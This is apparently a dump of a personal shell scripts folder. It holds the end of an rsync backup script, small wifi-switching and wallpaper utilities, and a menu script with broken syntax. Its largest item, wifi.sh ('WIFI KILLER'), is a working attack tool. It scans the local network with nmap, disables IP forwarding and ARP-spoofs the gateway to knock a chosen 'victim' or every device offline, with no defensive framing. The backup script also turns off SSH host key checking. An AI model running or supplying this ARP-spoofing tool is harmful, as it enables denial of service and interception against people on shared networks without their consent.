MacOS X Tiger 'date -j' doesn't work, we do this: 72 | perl -e 'use Time::Local; print timelocal('$ss','$mi','$hh','$dd','$mm','$yy'),"\n";' ;; 73 | darwin*) date -j -f "%Y-%m-%d-%H%M%S" "$1" "+%s" ;; 74 | FreeBSD*) date -j -f "%Y-%m-%d-%H%M%S" "$1" "+%s" ;; 75 | esac 76 | } 77 | 78 | fn_find_backups() { 79 | fn_run_cmd "find "$DEST_FOLDER/" -maxdepth 1 -type d -name \"????-??-??-??????\" -prune | sort -r" 80 | } 81 | 82 | fn_expire_backup() { 83 | # Double-check that we're on a backup destination to be completely 84 | # sure we're deleting the right folder 85 | if [ -z "$(fn_find_backup_marker "$(dirname -- "$1")")" ]; then 86 | fn_log_error "$1 is not on a backup destination - aborting." 87 | exit 1 88 | fi 89 | 90 | fn_log_info "Expiring $1" 91 | fn_rm_dir "$1" 92 | } 93 | 94 | fn_expire_backups() { 95 | local current_timestamp=$EPOCH 96 | local last_kept_timestamp=9999999999 97 | 98 | # Process each backup dir from most recent to oldest 99 | for backup_dir in $(fn_find_backups | sort -r); do 100 | local backup_date=$(basename "$backup_dir") 101 | local backup_timestamp=$(fn_parse_date "$backup_date") 102 | 103 | # Skip if failed to parse date... 104 | if [ -z "$backup_timestamp" ]; then 105 | fn_log_warn "Could not parse date: $backup_dir" 106 | continue 107 | fi 108 | 109 | # Find which strategy token applies to this particular backup 110 | for strategy_token in $(echo $EXPIRATION_STRATEGY | tr " " "\n" | sort -r -n); do 111 | IFS=':' read -r -a t <<< "$strategy_token" 112 | 113 | # After which date (relative to today) this token applies (X) 114 | local cut_off_timestamp=$((current_timestamp - ${t[0]} * 86400)) 115 | 116 | # Every how many days should a backup be kept past the cut off date (Y) 117 | local cut_off_interval=$((${t[1]} * 86400)) 118 | 119 | # If we've found the strategy token that applies to this backup 120 | if [ "$backup_timestamp" -le "$cut_off_timestamp" ]; then 121 | 122 | # Special case: if Y is "0" we delete every time 123 | if [ $cut_off_interval -eq "0" ]; then 124 | fn_expire_backup "$backup_dir" 125 | break 126 | fi 127 | 128 | # Check if the current backup is in the interval between 129 | # the last backup that was kept and Y 130 | local interval_since_last_kept=$((last_kept_timestamp - backup_timestamp)) 131 | if [ "$interval_since_last_kept" -lt "$cut_off_interval" ]; then 132 | # Yes: Delete that one 133 | fn_expire_backup "$backup_dir" 134 | else 135 | # No: Keep it 136 | last_kept_timestamp=$backup_timestamp 137 | fi 138 | break 139 | fi 140 | done 141 | done 142 | } 143 | 144 | fn_parse_ssh() { 145 | # To keep compatibility with bash version < 3, we use grep 146 | if echo "$DEST_FOLDER"|grep -Eq '^[A-Za-z0-9\._%\+\-]+@[A-Za-z0-9.\-]+\:.+$' 147 | then 148 | SSH_USER=$(echo "$DEST_FOLDER" | sed -E 's/^([A-Za-z0-9\._%\+\-]+)@([A-Za-z0-9.\-]+)\:(.+)$/\1/') 149 | SSH_HOST=$(echo "$DEST_FOLDER" | sed -E 's/^([A-Za-z0-9\._%\+\-]+)@([A-Za-z0-9.\-]+)\:(.+)$/\2/') 150 | SSH_DEST_FOLDER=$(echo "$DEST_FOLDER" | sed -E 's/^([A-Za-z0-9\._%\+\-]+)@([A-Za-z0-9.\-]+)\:(.+)$/\3/') 151 | if [ -n "$ID_RSA" ] ; then 152 | SSH_CMD="ssh -p $SSH_PORT -i $ID_RSA ${SSH_USER}@${SSH_HOST}" 153 | else 154 | SSH_CMD="ssh -p $SSH_PORT ${SSH_USER}@${SSH_HOST}" 155 | fi 156 | SSH_DEST_FOLDER_PREFIX="${SSH_USER}@${SSH_HOST}:" 157 | elif echo "$SRC_FOLDER"|grep -Eq '^[A-Za-z0-9\._%\+\-]+@[A-Za-z0-9.\-]+\:.+$' 158 | then 159 | SSH_USER=$(echo "$SRC_FOLDER" | sed -E 's/^([A-Za-z0-9\._%\+\-]+)@([A-Za-z0-9.\-]+)\:(.+)$/\1/') 160 | SSH_HOST=$(echo "$SRC_FOLDER" | sed -E 's/^([A-Za-z0-9\._%\+\-]+)@([A-Za-z0-9.\-]+)\:(.+)$/\2/') 161 | SSH_SRC_FOLDER=$(echo "$SRC_FOLDER" | sed -E 's/^([A-Za-z0-9\._%\+\-]+)@([A-Za-z0-9.\-]+)\:(.+)$/\3/') 162 | if [ -n "$ID_RSA" ] ; then 163 | SSH_CMD="ssh -p $SSH_PORT -i $ID_RSA ${SSH_USER}@${SSH_HOST}" 164 | else 165 | SSH_CMD="ssh -p $SSH_PORT ${SSH_USER}@${SSH_HOST}" 166 | fi 167 | SSH_SRC_FOLDER_PREFIX="${SSH_USER}@${SSH_HOST}:" 168 | fi 169 | } 170 | 171 | fn_run_cmd() { 172 | if [ -n "$SSH_DEST_FOLDER_PREFIX" ] 173 | then 174 | eval "$SSH_CMD '$1'" 175 | else 176 | eval $1 177 | fi 178 | } 179 | 180 | fn_find() { 181 | fn_run_cmd "find '$1'" 2>/dev/null 182 | } 183 | 184 | fn_get_absolute_path() { 185 | fn_run_cmd "cd '$1';pwd" 186 | } 187 | 188 | fn_mkdir() { 189 | fn_run_cmd "mkdir -p -- '$1'" 190 | } 191 | 192 | # Removes a file or symlink - not for directories 193 | fn_rm_file() { 194 | fn_run_cmd "rm -f -- '$1'" 195 | } 196 | 197 | fn_rm_dir() { 198 | fn_run_cmd "rm -rf -- '$1'" 199 | } 200 | 201 | fn_touch() { 202 | fn_run_cmd "touch -- '$1'" 203 | } 204 | 205 | fn_ln() { 206 | fn_run_cmd "ln -s -- '$1' '$2'" 207 | } 208 | 209 | # ----------------------------------------------------------------------------- 210 | # Source and destination information 211 | # ----------------------------------------------------------------------------- 212 | SSH_USER="" 213 | SSH_HOST="" 214 | SSH_DEST_FOLDER="" 215 | SSH_SRC_FOLDER="" 216 | SSH_CMD="" 217 | SSH_DEST_FOLDER_PREFIX="" 218 | SSH_SRC_FOLDER_PREFIX="" 219 | SSH_PORT="22" 220 | ID_RSA="" 221 | 222 | SRC_FOLDER="" 223 | DEST_FOLDER="" 224 | EXCLUSION_FILE="" 225 | LOG_DIR="$HOME/.$APPNAME" 226 | AUTO_DELETE_LOG="1" 227 | EXPIRATION_STRATEGY="1:1 30:7 365:30" 228 | AUTO_EXPIRE="1" 229 | 230 | RSYNC_FLAGS="-D --compress --numeric-ids --links --hard-links --one-file-system --itemize-changes --times --recursive --perms --owner --group --stats --human-readable" 231 | 232 | while :; do 233 | case $1 in 234 | -h|-\?|--help) 235 | fn_display_usage 236 | exit 237 | ;; 238 | -p|--port) 239 | shift 240 | SSH_PORT=$1 241 | ;; 242 | -i|--id_rsa) 243 | shift 244 | ID_RSA="$1" 245 | ;; 246 | --rsync-get-flags) 247 | shift 248 | echo $RSYNC_FLAGS 249 | exit 250 | ;; 251 | --rsync-set-flags) 252 | shift 253 | RSYNC_FLAGS="$1" 254 | ;; 255 | --rsync-append-flags) 256 | shift 257 | RSYNC_FLAGS="$RSYNC_FLAGS $1" 258 | ;; 259 | --strategy) 260 | shift 261 | EXPIRATION_STRATEGY="$1" 262 | ;; 263 | --log-dir) 264 | shift 265 | LOG_DIR="$1" 266 | AUTO_DELETE_LOG="0" 267 | ;; 268 | --no-auto-expire) 269 | AUTO_EXPIRE="0" 270 | ;; 271 | --) 272 | shift 273 | SRC_FOLDER="$1" 274 | DEST_FOLDER="$2" 275 | EXCLUSION_FILE="$3" 276 | break 277 | ;; 278 | -*) 279 | fn_log_error "Unknown option: \"$1\"" 280 | fn_log_info "" 281 | fn_display_usage 282 | exit 1 283 | ;; 284 | *) 285 | SRC_FOLDER="$1" 286 | DEST_FOLDER="$2" 287 | EXCLUSION_FILE="$3" 288 | break 289 | esac 290 | 291 | shift 292 | done 293 | 294 | # Display usage information if required arguments are not passed 295 | if [[ -z "$SRC_FOLDER" || -z "$DEST_FOLDER" ]]; then 296 | fn_display_usage 297 | exit 1 298 | fi 299 | 300 | # Strips off last slash from dest. Note that it means the root folder "/" 301 | # will be represented as an empty string "", which is fine 302 | # with the current script (since a "/" is added when needed) 303 | # but still something to keep in mind. 304 | # However, due to this behavior we delay stripping the last slash for 305 | # the source folder until after parsing for ssh usage. 306 | 307 | DEST_FOLDER="${DEST_FOLDER%/}" 308 | 309 | fn_parse_ssh 310 | 311 | if [ -n "$SSH_DEST_FOLDER" ]; then 312 | DEST_FOLDER="$SSH_DEST_FOLDER" 313 | fi 314 | 315 | if [ -n "$SSH_SRC_FOLDER" ]; then 316 | SRC_FOLDER="$SSH_SRC_FOLDER" 317 | fi 318 | 319 | # Now strip off last slash from source folder. 320 | SRC_FOLDER="${SRC_FOLDER%/}" 321 | 322 | for ARG in "$SRC_FOLDER" "$DEST_FOLDER" "$EXCLUSION_FILE"; do 323 | if [[ "$ARG" == *"'"* ]]; then 324 | fn_log_error 'Source and destination directories may not contain single quote characters.' 325 | exit 1 326 | fi 327 | done 328 | 329 | # ----------------------------------------------------------------------------- 330 | # Check that the destination drive is a backup drive 331 | # ----------------------------------------------------------------------------- 332 | 333 | # TODO: check that the destination supports hard links 334 | 335 | fn_backup_marker_path() { echo "$1/backup.marker"; } 336 | fn_find_backup_marker() { fn_find "$(fn_backup_marker_path "$1")" 2>/dev/null; } 337 | 338 | if [ -z "$(fn_find_backup_marker "$DEST_FOLDER")" ]; then 339 | fn_log_info "Safety check failed - the destination does not appear to be a backup folder or drive (marker file not found)." 340 | fn_log_info "If it is indeed a backup folder, you may add the marker file by running the following command:" 341 | fn_log_info "" 342 | fn_log_info_cmd "mkdir -p -- \"$DEST_FOLDER\" ; touch \"$(fn_backup_marker_path "$DEST_FOLDER")\"" 343 | fn_log_info "" 344 | exit 1 345 | fi 346 | 347 | # ----------------------------------------------------------------------------- 348 | # Setup additional variables 349 | # ----------------------------------------------------------------------------- 350 | 351 | # Date logic 352 | NOW=$(date +"%Y-%m-%d-%H%M%S") 353 | EPOCH=$(date "+%s") 354 | KEEP_ALL_DATE=$((EPOCH - 86400)) # 1 day ago 355 | KEEP_DAILIES_DATE=$((EPOCH - 2678400)) # 31 days ago 356 | 357 | export IFS=$'\n' # Better for handling spaces in filenames. 358 | DEST="$DEST_FOLDER/$NOW" 359 | PREVIOUS_DEST="$(fn_find_backups | head -n 1)" 360 | INPROGRESS_FILE="$DEST_FOLDER/backup.inprogress" 361 | MYPID="$$" 362 | 363 | # ----------------------------------------------------------------------------- 364 | # Create log folder if it doesn't exist 365 | # ----------------------------------------------------------------------------- 366 | 367 | if [ ! -d "$LOG_DIR" ]; then 368 | fn_log_info "Creating log folder in '$LOG_DIR'..." 369 | mkdir -- "$LOG_DIR" 370 | fi 371 | 372 | # ----------------------------------------------------------------------------- 373 | # Handle case where a previous backup failed or was interrupted. 374 | # ----------------------------------------------------------------------------- 375 | 376 | if [ -n "$(fn_find "$INPROGRESS_FILE")" ]; then 377 | if [ "$OSTYPE" == "cygwin" ]; then 378 | # 1. Grab the PID of previous run from the PID file 379 | RUNNINGPID="$(fn_run_cmd "cat $INPROGRESS_FILE")" 380 | 381 | # 2. Get the command for the process currently running under that PID and look for our script name 382 | RUNNINGCMD="$(procps -wwfo cmd -p $RUNNINGPID --no-headers | grep "$APPNAME")" 383 | 384 | # 3. Grab the exit code from grep (0=found, 1=not found) 385 | GREPCODE=$? 386 | 387 | # 4. if found, assume backup is still running 388 | if [ "$GREPCODE" = 0 ]; then 389 | fn_log_error "Previous backup task is still active - aborting (command: $RUNNINGCMD)." 390 | exit 1 391 | fi 392 | elif [[ "$OSTYPE" == "netbsd"* ]]; then 393 | RUNNINGPID="$(fn_run_cmd "cat $INPROGRESS_FILE")" 394 | if ps -axp "$RUNNINGPID" -o "command" | grep "$APPNAME" > /dev/null; then 395 | fn_log_error "Previous backup task is still active - aborting." 396 | exit 1 397 | fi 398 | else 399 | RUNNINGPID="$(fn_run_cmd "cat $INPROGRESS_FILE")" 400 | if [ "$RUNNINGPID" = "$(pgrep -o -f "$APPNAME")" ]; then 401 | fn_log_error "Previous backup task is still active - aborting." 402 | exit 1 403 | fi 404 | fi 405 | 406 | if [ -n "$PREVIOUS_DEST" ]; then 407 | # - Last backup is moved to current backup folder so that it can be resumed. 408 | # - 2nd to last backup becomes last backup. 409 | fn_log_info "$SSH_DEST_FOLDER_PREFIX$INPROGRESS_FILE already exists - the previous backup failed or was interrupted. Backup will resume from there." 410 | fn_run_cmd "mv -- $PREVIOUS_DEST $DEST" 411 | if [ "$(fn_find_backups | wc -l)" -gt 1 ]; then 412 | PREVIOUS_DEST="$(fn_find_backups | sed -n '2p')" 413 | else 414 | PREVIOUS_DEST="" 415 | fi 416 | # update PID to current process to avoid multiple concurrent resumes 417 | fn_run_cmd "echo $MYPID > $INPROGRESS_FILE" 418 | fi 419 | fi 420 | 421 | # Run in a loop to handle the "No space left on device" logic. 422 | while : ; do 423 | 424 | # ----------------------------------------------------------------------------- 425 | # Check if we are doing an incremental backup (if previous backup exists). 426 | # ----------------------------------------------------------------------------- 427 | 428 | LINK_DEST_OPTION="" 429 | if [ -z "$PREVIOUS_DEST" ]; then 430 | fn_log_info "No previous backup - creating new one." 431 | else 432 | # If the path is relative, it needs to be relative to the destination. To keep 433 | # it simple, just use an absolute path. See http://serverfault.com/a/210058/118679 434 | PREVIOUS_DEST="$(fn_get_absolute_path "$PREVIOUS_DEST")" 435 | fn_log_info "Previous backup found - doing incremental backup from $SSH_DEST_FOLDER_PREFIX$PREVIOUS_DEST" 436 | LINK_DEST_OPTION="--link-dest='$PREVIOUS_DEST'" 437 | fi 438 | 439 | # ----------------------------------------------------------------------------- 440 | # Create destination folder if it doesn't already exists 441 | # ----------------------------------------------------------------------------- 442 | 443 | if [ -z "$(fn_find "$DEST -type d" 2>/dev/null)" ]; then 444 | fn_log_info "Creating destination $SSH_DEST_FOLDER_PREFIX$DEST" 445 | fn_mkdir "$DEST" 446 | fi 447 | 448 | # ----------------------------------------------------------------------------- 449 | # Purge certain old backups before beginning new backup. 450 | # ----------------------------------------------------------------------------- 451 | 452 | fn_expire_backups 453 | 454 | # ----------------------------------------------------------------------------- 455 | # Start backup 456 | # ----------------------------------------------------------------------------- 457 | 458 | LOG_FILE="$LOG_DIR/$(date +"%Y-%m-%d-%H%M%S").log" 459 | 460 | fn_log_info "Starting backup..." 461 | fn_log_info "From: $SSH_SRC_FOLDER_PREFIX$SRC_FOLDER/" 462 | fn_log_info "To: $SSH_DEST_FOLDER_PREFIX$DEST/" 463 | 464 | CMD="rsync" 465 | if [ -n "$SSH_CMD" ]; then 466 | if [ -n "$ID_RSA" ] ; then 467 | CMD="$CMD -e 'ssh -p $SSH_PORT -i $ID_RSA -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null'" 468 | else 469 | CMD="$CMD -e 'ssh -p $SSH_PORT -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null'" 470 | fi 471 | fi 472 | CMD="$CMD $RSYNC_FLAGS" 473 | CMD="$CMD --log-file '$LOG_FILE'" 474 | if [ -n "$EXCLUSION_FILE" ]; then 475 | # We've already checked that $EXCLUSION_FILE doesn't contain a single quote 476 | CMD="$CMD --exclude-from '$EXCLUSION_FILE'" 477 | fi 478 | CMD="$CMD $LINK_DEST_OPTION" 479 | CMD="$CMD -- '$SSH_SRC_FOLDER_PREFIX$SRC_FOLDER/' '$SSH_DEST_FOLDER_PREFIX$DEST/'" 480 | 481 | fn_log_info "Running command:" 482 | fn_log_info "$CMD" 483 | 484 | fn_run_cmd "echo $MYPID > $INPROGRESS_FILE" 485 | eval $CMD 486 | 487 | # ----------------------------------------------------------------------------- 488 | # Check if we ran out of space 489 | # ----------------------------------------------------------------------------- 490 | 491 | NO_SPACE_LEFT="$(grep "No space left on device (28)\|Result too large (34)" "$LOG_FILE")" 492 | 493 | if [ -n "$NO_SPACE_LEFT" ]; then 494 | 495 | if [[ $AUTO_EXPIRE == "0" ]]; then 496 | fn_log_error "No space left on device, and automatic purging of old backups is disabled." 497 | exit 1 498 | fi 499 | 500 | fn_log_warn "No space left on device - removing oldest backup and resuming." 501 | 502 | if [[ "$(fn_find_backups | wc -l)" -lt "2" ]]; then 503 | fn_log_error "No space left on device, and no old backup to delete." 504 | exit 1 505 | fi 506 | 507 | fn_expire_backup "$(fn_find_backups | tail -n 1)" 508 | 509 | # Resume backup 510 | continue 511 | fi 512 | 513 | # ----------------------------------------------------------------------------- 514 | # Check whether rsync reported any errors 515 | # ----------------------------------------------------------------------------- 516 | 517 | EXIT_CODE="1" 518 | if [ -n "$(grep "rsync error:" "$LOG_FILE")" ]; then 519 | fn_log_error "Rsync reported an error. Run this command for more details: grep -E 'rsync:|rsync error:' '$LOG_FILE'" 520 | elif [ -n "$(grep "rsync:" "$LOG_FILE")" ]; then 521 | fn_log_warn "Rsync reported a warning. Run this command for more details: grep -E 'rsync:|rsync error:' '$LOG_FILE'" 522 | else 523 | fn_log_info "Backup completed without errors." 524 | if [[ $AUTO_DELETE_LOG == "1" ]]; then 525 | rm -f -- "$LOG_FILE" 526 | fi 527 | EXIT_CODE="0" 528 | fi 529 | 530 | # ----------------------------------------------------------------------------- 531 | # Add symlink to last backup 532 | # ----------------------------------------------------------------------------- 533 | 534 | fn_rm_file "$DEST_FOLDER/latest" 535 | fn_ln "$(basename -- "$DEST")" "$DEST_FOLDER/latest" 536 | 537 | fn_rm_file "$INPROGRESS_FILE" 538 | 539 | exit $EXIT_CODE 540 | done 541 | -------------------------------------------------------------------------------- /Scripts/switch_ls: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | prompt="Please select a file:" 3 | options=( $(netctl list) ) 4 | 5 | PS3="$prompt " 6 | select opt in "${options[@]}" "Quit"; do 7 | 8 | case "$REPLY" in 9 | for i in "${options[@]}" 10 | do 11 | $i' ) echo "You picked $opt which is file $REPLY";;' 12 | done 13 | $(( ${#options[@]}+1 )) ) echo "Goodbye!"; break;; 14 | *) echo "Invalid option. Try another one.";continue;; 15 | 16 | esac 17 | 18 | done 19 | -------------------------------------------------------------------------------- /Scripts/switch_wifi.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # small power menu using rofi, i3, systemd and pm-utils 4 | # (last 3 dependencies are adjustable below) 5 | # tostiheld, 2016 6 | 7 | Torbox_command="sudo netctl switch-to wlp2s0-Torbox" 8 | Arris_command="sudo netctl switch-to wlp2s0-ARRIS-DE42-psk" 9 | 10 | # you can customise the rofi command all you want ... 11 | rofi_command="rofi -width 15 -hide-scrollbar -bg #586e75 -opacity 100 -padding 10 -lines 2" 12 | 13 | options=$'Torbox\nArris' 14 | 15 | # ... because the essential options (-dmenu and -p) are added here 16 | eval \$"$(echo "$options" | $rofi_command -dmenu -p "")_command" -------------------------------------------------------------------------------- /Scripts/wallpaper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | shopt -s nullglob 4 | cd ~/Imágenes/Walls || exit 5 | 6 | while true; do 7 | files=() 8 | for i in *.jpg *.png; do 9 | [[ -f $i ]] && files+=("$i") 10 | done 11 | range=${#files[@]} 12 | 13 | ((range)) && feh --bg-scale "${files[RANDOM % range]}" 14 | break 15 | #sleep 15m 16 | done 17 | -------------------------------------------------------------------------------- /Scripts/wifi.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ## @Magdeoz 4 | 5 | bldred='\e[1;31m' # BoldRed 6 | red='\e[7;31m' # Red 7 | txtgrn='\e[0;90m' # Green 8 | txtrst='\e[0;31m' # Text Reset 9 | bldcyn='\e[1;32m' # Cyan 10 | bld='\e[1;1m' # Bold 11 | sub='\e[1;7m' 12 | mk='\e[0;9m' # Subrayado 13 | window='\e[0;31m' # Window 14 | version='1.5' 15 | 16 | if [ "$(id -u)" != "0" ]; then 17 | echo "Sorry, you must run this script as root." 1>&2 18 | exit 1 19 | fi 20 | 21 | iwconfig > tmp 2>/dev/null 22 | INTERFACE=$(grep -m 1 '802' tmp | awk '{print $1}') #default interface 23 | rm tmp 2>/dev/null 24 | IP=`route -n | grep 'UG[ \t]' | awk '{print $2}'` 25 | 26 | GOTOHELP() 27 | { 28 | clear 29 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 30 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 31 | echo -e " ""${window}|@|${txtrst}"" ""${bld}WIFI KILLER - Version $(echo "$version")${txtrst}"" ""${window}|@|${txtrst}" 32 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 33 | echo -e " ""${window}|@|${txtrst}""xxx.xxx.xxx.xxx: block the provided ip ""${window}|@|${txtrst}" 34 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 35 | echo -e " ""${window}|@|${txtrst}"" For your Network Interface open a ""${window}|@|${txtrst}" 36 | echo -e " ""${window}|#|${txtrst}"" terminal ""${window}|#|${txtrst}" 37 | echo -e " ""${window}|@|${txtrst}"" and type 'iwconfig' without quotes ""${window}|@|${txtrst}" 38 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 39 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 40 | echo " " 41 | echo " Presione cualquier tecla para continuar..." 42 | read -n1 43 | clear 44 | GOTOMAIN 45 | } 46 | 47 | #List hosts on your network. Using sudo we can access to the mac address and the nic vendor. 48 | GOTOUSERS () { 49 | clear 50 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 51 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 52 | echo -e " ""${window}|@|${txtrst}"" ""${bld}WIFI KILLER - Version $(echo "$version")${txtrst}"" ""${window}|@|${txtrst}" 53 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 54 | echo -e " ""${window}|@|${txtrst}"" Network Scanning... ""${window}|@|${txtrst}" 55 | echo -e " ""${window}|#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#|${txtrst}" 56 | echo -e 57 | 58 | nmap_result=$(sudo nmap -sP $IP/24) #checks who's responding to ping 192.168.1.0-256 59 | own_ip=$(ifconfig $INTERFACE | grep inet | awk '{print $2}' | cut -d':' -f2) #gets your own ip 60 | temp_mac=$(echo "$nmap_result" | grep "MAC Address:" | awk '{print $3;}') #gets the mac addresses list 61 | temp_ip=$(echo "$nmap_result" | grep "192.168." | awk '{print $5;}' | grep -v "$own_ip") #gets the ip list 62 | temp_vendor=$(echo "$nmap_result" | grep "MAC Address:" | awk '{print $4;}') #gets the vendor list 63 | 64 | readarray -t mac <<<"$temp_mac" #converts it to array named mac 65 | readarray -t ip <<<"$temp_ip" #converts it to array named ip 66 | readarray -t vendor <<<"$temp_vendor" 67 | 68 | len=${#mac[@]} # length of mac addresses array 69 | echo " " 70 | #echo -e " ""${window}|___________________________________________|${txtrst}" 71 | echo " " 72 | echo " ""List of connected devices (vendor: ip - mac):" 73 | echo " ""Your own ip address is $own_ip" 74 | echo "" 75 | for (( i=0; i<${len}; i++ )); 76 | do 77 | echo -e " ""${window}|___________________________________________|${txtrst}" 78 | echo " " 79 | echo -e " " ${vendor[i]}": "${ip[i]}" - "${mac[i]} 80 | done 81 | echo -e " ""${window}|___________________________________________|${txtrst}" 82 | echo "" 83 | echo " Presione cualquier tecla para continuar" 84 | 85 | read -n1 86 | GOTOMAIN 87 | } 88 | 89 | 90 | #Kills the ip in the argument, all if there is no argument. 91 | GOTOSPECIFIC () { 92 | clear 93 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 94 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 95 | echo -e " ""${window}|@|${txtrst}"" ""${bld}WIFI KILLER - Version $(echo "$version")${txtrst}"" ""${window}|@|${txtrst}" 96 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 97 | echo -e " ""${window}|@|${txtrst}"" IP formart: xxx.xxx.xxx.xxx ""${window}|@|${txtrst}" 98 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 99 | echo -e " ""${window}|@|${txtrst}"" Type C for cancel ""${window}|@|${txtrst}" 100 | echo -e " ""${window}|#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#|${txtrst}" 101 | read -p ' IP or C (cancel): ' victim 102 | if [[ "$victim" =~ [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3} ]]; then 103 | echo "gonna kill em $victim " 104 | target="-t $victim" 105 | echo -n 0 > /proc/sys/net/ipv4/ip_forward 106 | arpspoof -i $INTERFACE $target $IP 107 | echo -n $oldipforward > /proc/sys/net/ipv4/ip_forward 108 | elif [[ "$victim" == "C" ]]; then 109 | GOTOMAIN 110 | elif [[ "$victim" == "c" ]]; then 111 | GOTOMAIN 112 | else 113 | echo "Wrong ip format. Please try again" 114 | sleep 1.5s 115 | GOTOSPECIFIC 116 | fi 117 | } 118 | 119 | KILL () { 120 | echo -n 0 > /proc/sys/net/ipv4/ip_forward 121 | arpspoof -i $INTERFACE $IP 122 | 123 | if [[ $? -eq 1 ]]; then 124 | echo "Try to edit arpspoof command with your current network interface." 125 | fi 126 | echo -n $oldipforward > /proc/sys/net/ipv4/ip_forward 127 | } 128 | 129 | GOTOKILLALL () { 130 | clear 131 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 132 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 133 | echo -e " ""${window}|@|${txtrst}"" ""${bld}WIFI KILLER - Version $(echo "$version")${txtrst}"" ""${window}|@|${txtrst}" 134 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 135 | echo -e " ""${window}|@|${txtrst}"" press control-c to stop ""${window}|@|${txtrst}" 136 | echo -e " ""${window}|#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#|${txtrst}" 137 | sleep 2s 138 | 139 | 140 | #First of all, check if the required programs are installed 141 | type arpspoof >/dev/null 2>&1 || { echo >&2 "Arpspoof it's required but it's not installed.\n Do 'sudo apt-get install dsniff' Aborting."; exit 1; } 142 | type nmap >/dev/null 2>&1 || { echo >&2 "Nmap it's required but it's not installed.\n Do 'sudo apt-get install nmap' Aborting."; exit 1; } 143 | 144 | #if [[ "$2" == "-i" ]]; then 145 | # INTERFACE=$3 146 | #fi 147 | 148 | oldipforward=`cat /proc/sys/net/ipv4/ip_forward` 149 | 150 | KILL $1 151 | } 152 | 153 | 154 | GOTOMAIN () { 155 | clear 156 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 157 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 158 | echo -e " ""${window}|@|${txtrst}"" ""${bld}WIFI KILLER - Version $(echo "$version")${txtrst}"" ""${window}|@|${txtrst}" 159 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 160 | echo -e " ""${window}|@|${txtrst}"" ""Please select your option:"" ""${window}|@|${txtrst}" 161 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 162 | echo -e " ""${window}|@|${txtrst}"" ""1) [+] KILL ALL"" ""${window}|@|${txtrst}" 163 | echo -e " ""${window}|#|${txtrst}"" ""2) [+] SPECIFIC IP"" ""${window}|#|${txtrst}" 164 | echo -e " ""${window}|@|${txtrst}"" ""3) [+] SHOW USERS IP's"" ""${window}|@|${txtrst}" 165 | echo -e " ""${window}|#|${txtrst}"" ""4) [+] HELP"" ""${window}|#|${txtrst}" 166 | echo -e " ""${window}|@|${txtrst}"" ""Q/q [-] Exit Script"" ""${window}|@|${txtrst}" 167 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 168 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 169 | read -p ' Option: ' OPT 170 | if [[ ! $OPT == "1" ]]; then 171 | if [[ ! $OPT == "2" ]]; then 172 | if [[ ! $OPT == "3" ]]; then 173 | if [[ ! $OPT == 4 ]]; then 174 | if [[ ! $OPT == q ]]; then 175 | if [[ ! $OPT == Q ]]; then 176 | clear 177 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 178 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 179 | echo -e " ""${window}|@|${txtrst}"" ""${bld}WIFI KILLER - Version $(echo "$version")${txtrst}"" ""${window}|@|${txtrst}" 180 | echo -e " ""${window}|#|${txtrst}"" ""${window}|#|${txtrst}" 181 | echo -e " ""${window}|@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@|${txtrst}" 182 | echo " " 183 | echo -e " ""${bldred}Invalid Input: Please try again!${txtrst}" 184 | sleep 1s 185 | GOTOMAIN 186 | fi 187 | fi 188 | fi 189 | fi 190 | fi 191 | fi 192 | case $OPT in 193 | 1) GOTOKILLALL ;; 194 | 2) GOTOSPECIFIC ;; 195 | 3) GOTOUSERS ;; 196 | 4) GOTOHELP ;; 197 | Q) clear; echo -e "${bldcyn}Goodbye"; sleep 2s; clear; exit;; 198 | q) clear; echo -e "Goodbye"; sleep 2s; clear; exit;; 199 | esac 200 | } 201 | 202 | GOTOMAIN 203 | -------------------------------------------------------------------------------- /Scripts/wrapper.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | ############################################################################### 3 | 